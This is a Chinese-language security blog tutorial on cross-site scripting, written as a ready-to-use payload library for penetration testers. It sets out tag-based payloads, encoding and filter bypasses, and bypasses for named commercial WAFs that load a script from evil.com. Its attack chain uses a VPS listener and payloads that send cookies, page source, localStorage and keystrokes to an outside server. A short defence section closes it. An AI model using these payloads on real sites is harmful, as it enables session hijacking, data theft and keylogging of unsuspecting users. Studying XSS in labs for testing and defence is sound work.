PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】XSS跨站脚本攻击实战:从16种标签到WAF逃逸(附完整Payload库)

📅 2026年5月25日 📁 Hermes Agent ⏱ 6 分钟

【教程】XSS跨站脚本攻击实战:从16种标签到WAF逃逸(附完整Payload库)

适合人群:有基本Web安全基础,想系统掌握XSS挖掘与绕过技巧的渗透测试人员

前置知识:HTML/JavaScript基础、HTTP抓包能力

核心原则:见框就插——所有用户可控的输出位置都是"框"


一、前置准备

1.1 本地靶场搭建


# 方式一:DVWA(经典XSS靶场)
docker run -d -p 8080:80 vulnerables/web-dvwa

# 方式二:xss-labs(专注XSS的闯关靶场)
docker run -d -p 8081:80 jxdxb/xss-labs

# 方式三:PortSwigger XSS靶场(在线,无需搭建)
# https://portswigger.net/web-security/cross-site-scripting

1.2 工具准备


# Burp Suite(抓包改包)
# Firefox + HackBar(快速调试Payload)
# Python http.server(接收Cookie、测试外带)
python3 -m http.server 8888 --bind 0.0.0.0

# XSS平台(接收外带数据)
# https://xss.pt 或自建

二、核心原理

2.1 什么是XSS?

XSS(Cross-Site Scripting,跨站脚本攻击) 指攻击者将恶意JavaScript代码注入到网页中,当其他用户浏览该页面时,代码在用户浏览器中执行。

2.2 XSS三种类型

类型特点危害等级典型场景
反射型非持久化,需诱导用户点击恶意链接⭐⭐搜索框、URL参数
存储型持久化存储在服务端,每次访问触发⭐⭐⭐评论区、留言板、个人信息
DOM型纯前端漏洞,不经过服务端,JS代码直接操作DOM⭐⭐前端SPA应用、锚点参数

2.3 浏览器解析顺序(绕过的根基)


HTML解码 → URL解码 → JS解码(仅支持Unicode)

理解这个顺序是绕过一切过滤的根本。单层编码只能防住一层解析。


三、XSS攻击面清单:哪些是"框"?

"框"不只是 <input> 输入框。 下表列出所有可能被插入XSS的位置:

位置场景典型Payload示例
✅ 搜索框GET请求参数?keyword=<script>alert(1)</script>
✅ URL参数所有GET参数?id=1&cat=<svg onload=alert(1)>
✅ URL路径path参数/user/<script>alert(1)</script>/profile
✅ HTTP头Referer/User-Agent/Cookie在Burp中改Referer为恶意值
✅ 文件上传文件名XSS"><svg/onload=alert(1)>.svg
✅ 富文本编辑器文章/留言内容编辑器未过滤HTML标签
✅ JSON响应API返回被innerHTML前端未转义直接拼入DOM
✅ URL锚点#hash参数#<img src=x onerror=alert(1)>
✅ localStorage存储数据从Storage读取后未转义插入DOM
✅ 导出文件CSV/ExcelCSV注入公式执行

实战口诀:


1️⃣ 查参数(URL/GET/POST)→ 插 img onerror / script
2️⃣ 搜输入框(搜索/登录/评论)→ 插 <svg onload> / "><script>
3️⃣ 抓包看响应(反查输出位置)→ 确认是否HTML上下文
4️⃣ 测存储型(留言/个人信息)→ 持久化XSS,危害最大
5️⃣ 测DOM型(JS操作innerHTML)→ 前端未转义
6️⃣ 测HTTP头(Referer/UA/Cookie)→ 后台日志页
7️⃣ 测文件上传(文件名XSS)→ <svg/onload=alert(1)>.svg

四、16种标签Payload实战库

4.1 `<img>` — 最常用反射型XSS


<img src=x onerror="alert(1)">
<img src=1 onmouseover="alert('xss')">
<img src=1 onclick="alert('xss')">

4.2 `<svg>` — 兼容性好,适合绕过


<svg onload=alert(1)>
<svg onload=eval("alert(1)")>

4.3 `<script>` — 最直接


<script>alert('xss')</script>
<script>alert(/xss/)</script>
<script>alert(123)</script>

4.4 `<a>` — href伪协议


<a href="javascript:alert(1)">test</a>
<a href="x" onfocus="alert('xss');" autofocus>test</a>
<a href="x" onclick="alert('xss')">xss</a>

4.5 `<iframe>` — 适合钓鱼/外带


<iframe src="javascript:alert(1)"></iframe>
<iframe onload="alert(document.cookie)"></iframe>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>

4.6 `<video>` / `<audio>` — 多媒体标签绕过


<video src=x onerror=alert(1)>
<video controls onmouseover="alert('xss')"></video>
<audio src=1 onerror=alert(1)>

4.7 `<details>` — 需要用户点击


<details ontoggle="alert('xss')" open></details>

4.8 `<body>` / `<marquee>` — 火狐/IE可用


<body onload="alert('xss')"></body>
<marquee onstart=alert(1)>  <!-- 火狐专用 -->

完整标签一览

标签触发方式典型事件适用场景
<img>自动onerror反射型首选
<svg>自动onload绕过能力强
<a>点击onclick / href需要交互
<iframe>自动onloadCookie窃取
<input>自动onfocus autofocus无需点击
<video>自动onerror / onmouseoverWAF绕过
<details>点击ontoggle绕过事件黑名单
<script>自动最简单直接

五、6种编码绕过技术

5.1 HTML实体编码

适用场景: 可控点为标签属性(href/src)


<!-- 十进制编码:javascript:alert(1) -->
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">test</a>

<!-- 十六进制编码 -->
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;">test</a>

<!-- 填充0绕过(WAF不识别的畸形编码) -->
<a href="&#x006a&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003a&#x0061&#x006c&#x0065&#x0072&#x0074&#x0028&#x0031&#x0029">test</a>

5.2 URL编码绕过

注意: 不能对 javascript: 协议类型编码!只能编码后面的函数部分


<a href="javascript:%61%6c%65%72%74%28%31%29">test</a>

<!-- 二次编码 → 绕过单层URL解码 -->
<a href="javascript:%2561%256c%2565%2572%2574%2528%2531%2529">test</a>

5.3 JS编码绕过

编码类型格式示例(alert)
八进制\ + 3位8进制\141\154\145\162\164
十六进制\x + 2位16进制\x61\x6C\x65\x72\x74
Unicode\u + 4位16进制\u0061\u006C\u0065\u0072\u0074

<!-- Unicode编码alert -->
<img src=x onerror="\u0061\u006c\u0065\u0072\u0074(1)">

<!-- 八进制+setTimeout -->
<svg/onload=setTimeout('\141\154\145\162\164\050\061\051')>

<!-- 十六进制+eval -->
<script>eval("\x61\x6C\x65\x72\x74\x28\x31\x29")</script>

5.4 混合编码 — 三层绕过原理

原理: 浏览器按 HTML→URL→JS 顺序解析。逐层编码 = 逐层绕过。


原始: <a href="javascript:alert(1)">test</a>
↓ Step1: JS编码 alert → \u0061\u006c\u0065\u0072\u0074(1)
↓ Step2: URL编码 \u0061 → %5c%75%30%30%36%31...
↓ Step3: HTML实体编码整个href属性值
↓ 最终: <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;...">test</a>

5.5 Base64编码


<!-- data伪协议 -->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>

<!-- atob解码 -->
<img src=x onerror="eval(atob('YWxlcnQoMSk='))">
<a href=javascript:eval(atob('YWxlcnQoMSk='))>test</a>

5.6 String.fromCharCode(ASCII编码)


<!-- alert(1) → ASCII: 97,108,101,114,116,40,49,41 -->
<a href='javascript:eval(String.fromCharCode(97,108,101,114,116,40,49,41))'>test</a>

六、6种过滤绕过实战

6.1 空格过滤绕过


<!-- 用 / 或 TAB 或换行代替空格 -->
<img/src=x/onerror=alert(1)>
<img%09src=x%09onerror=alert(1)>
<img%0Asrc=x%0Aonerror=alert(1)>

6.2 括号过滤绕过


<!-- 反引号代替括号 -->
<script>alert`1`</script>

<!-- throw绕过(不碰括号) -->
<video src onerror="javascript:window.onerror=alert;throw 1">
<svg/onload="window.onerror=eval;throw'=alert\\x281\\x29';">

6.3 alert过滤绕过


<!-- 替换函数 -->
<script>prompt(/xss/)</script>
<script>confirm(/xss/)</script>
<script>console.log(3)</script>

<!-- Base64绕过 -->
<img src=x onerror="Function`a${atob`YWxlcnQoMSk=`}```">

6.4 关键词置空绕过


<!-- 双写(过滤规则只替换一次关键词) -->
<sc<script>ript>alert(/xss/)</sc</script>ript>

<!-- 大小写混合 -->
<ScRiPt>AlErT(/xss/)</sCrIpT>

6.5 函数字符串拼接绕过


<!-- eval拼接 -->
<img src="x" onerror="eval('al'+'ert(1)')">

<!-- top/window/self拼接 -->
<img src="x" onerror="top['al'+'ert'](1)">
<img src="x" onerror="window[`al`+`ert`](1)">

<!-- 赋值拼接 -->
<img src onerror=_=alert,_(1)>
<img src x=al y=ert onerror=top[x+y](1)>

6.6 拆分法(绕过长度限制)


<!-- 当输入长度受限时,分多次提交拼凑 -->
<script>a='document.write("'</script>
<script>a=a+'<script src=ht'</script>
<script>a=a+'tp://evil.com/xs'</script>
<script>a=a+'s.js></script>\")'</script>
<script>eval(a)</script>

七、WAF绕过实战Payload

安全狗绕过


<video/src/onerror=top[`al`%2B`ert`](1);>
<video/src/onerror=appendChild(createElement("script")).src="//evil.com/xss.js">

D盾绕过


<video/src/onloadstart=top[`al`%2B`ert`](1);>
<video/src/onloadstart=top[a='al',b='ev',b%2ba](appendChild(createElement(`script`)).src=`//evil.com/xss.js`);>

奇安信/云锁绕过


<video/src/onloadstart=top[`al`%2B`ert`](1);>
<details/ontoggle=function(){alert(1)}() open>
<svg/onload=eval(atob('dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEp'))>

八、实战攻击链:从弹窗到Cookie窃取

步骤1:发现注入点

用Burp抓包,在搜索框输入 test"x,查看响应是否原样返回。

步骤2:确认XSS类型


# 反射型:测试URL参数
https://target.com/search?q=<img src=x onerror=alert(1)>

# 存储型:在评论区提交
用户昵称: <script>alert(document.cookie)</script>

步骤3:Cookie窃取

搭建接收服务器(VPS上运行):


python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print('收到:', self.path)
        self.send_response(200)
        self.end_headers()

HTTPServer(('0.0.0.0', 8888), Handler).serve_forever()
"

注入Payload:


<script>new Image().src='http://your-vps:8888/steal?c='+document.cookie</script>

步骤4:全量信息收集Payload


<!-- 窃取Cookie -->
<script>new Image().src='http://VPS:8888/c='+document.cookie</script>

<!-- 窃取页面源码 -->
<script>new Image().src='http://VPS:8888/s='+encodeURIComponent(document.documentElement.innerHTML)</script>

<!-- 窃取localStorage -->
<script>new Image().src='http://VPS:8888/s='+encodeURIComponent(JSON.stringify(localStorage))</script>

<!-- 键盘记录(配合后台页面) -->
<script>
document.onkeypress = function(e) {
    new Image().src='http://VPS:8888/k='+e.key;
};
</script>

九、实战案例复盘

案例:某SRC教育系统存储型XSS

目标: 某高校信息系统的"个人简介"编辑页面

测试过程:

1️⃣ 在个人简介输入 <img src=x onerror=alert(1)>

2️⃣ 保存后进入"教师信息页面"查看——未弹窗(做了HTML实体转义)

3️⃣ 换思路:在"个人主页URL"字段注入

4️⃣ 输入 javascript:alert(1) — 此字段无过滤

5️⃣ 管理员点击用户头像链接时触发XSS

关键发现: 并非所有字段都做同样的过滤——URL字段往往是XSS的重灾区。

案例:某CMS后台搜索框DOM XSS

测试过程:

1️⃣ 搜索框输入 test,查看JS源码

2️⃣ 发现前端用 $("#result").html(searchValue) 直接插入

3️⃣ 构造 #<img src=x onerror=alert(1)> — 锚点参数

4️⃣ 由于是DOM型XSS,不经过服务端,服务端过滤无效

关键发现: DOM型XSS不能靠后端过滤防御,必须在前端做输出编码。


十、常见陷阱

陷阱真相
"我只过滤了<script>"还有16种标签+on事件可用
"我只过滤alert"可用prompt/confirm/console.log/自定义函数替换
"我只过滤双引号"可用反引号/单引号/斜杠绕过
"单层编码就够了"浏览器3层解析,可3层编码绕过
"有长度限制挖不到"可用拆分法分步注入

十一、防御建议

  1. 输入过滤:过滤 <script>onerror=javascript:onfocus= 等关键词
  2. 输出编码:对输出到HTML上下文的特殊字符进行HTML实体编码(<&lt;>&gt;"&quot;
  3. CSP策略:设置 Content-Security-Policy: script-src 'self' 限制外部脚本加载
  4. HttpOnly+Secure:设置Cookie HttpOnly属性防止document.cookie被窃取
  5. 后端独立鉴权:不可依赖前端判断权限,每次接口请求都在后端鉴权

十二、总结

XSS的实战精髓可以用8个字概括:

见框就插,层层编码。

遇到过滤不要慌——先搞清楚:

  1. 输出在什么上下文(属性/标签体/JS字符串)?
  2. 过滤了哪些关键词?没过滤哪些?
  3. 浏览器对这段代码做了几次解析?

逐层搭积木:HTML编码 → URL编码 → JS编码 → 混合编码 → 函数拼接 → WAF绕道。

Payload速查表:


无条件测试:
  <img src=x onerror=alert(1)>
  <svg onload=alert(1)>
  <script>alert(1)</script>

有过滤时:
  <img src=x onerror=prompt(1)>
  <img src=x onerror=eval('al'+'ert(1)')>
  <img src=x onerror=top[\u0061\u006cert](1)>

遇WAF时:
  <video/src/onloadstart=top[`al`%2B`ert`](1);>
  <details/ontoggle=eval(atob('YWxlcnQoMSk=')) open>

Cookie窃取:
  <script>new Image().src='http://VPS:8888/c='+document.cookie</script>
← 返回首页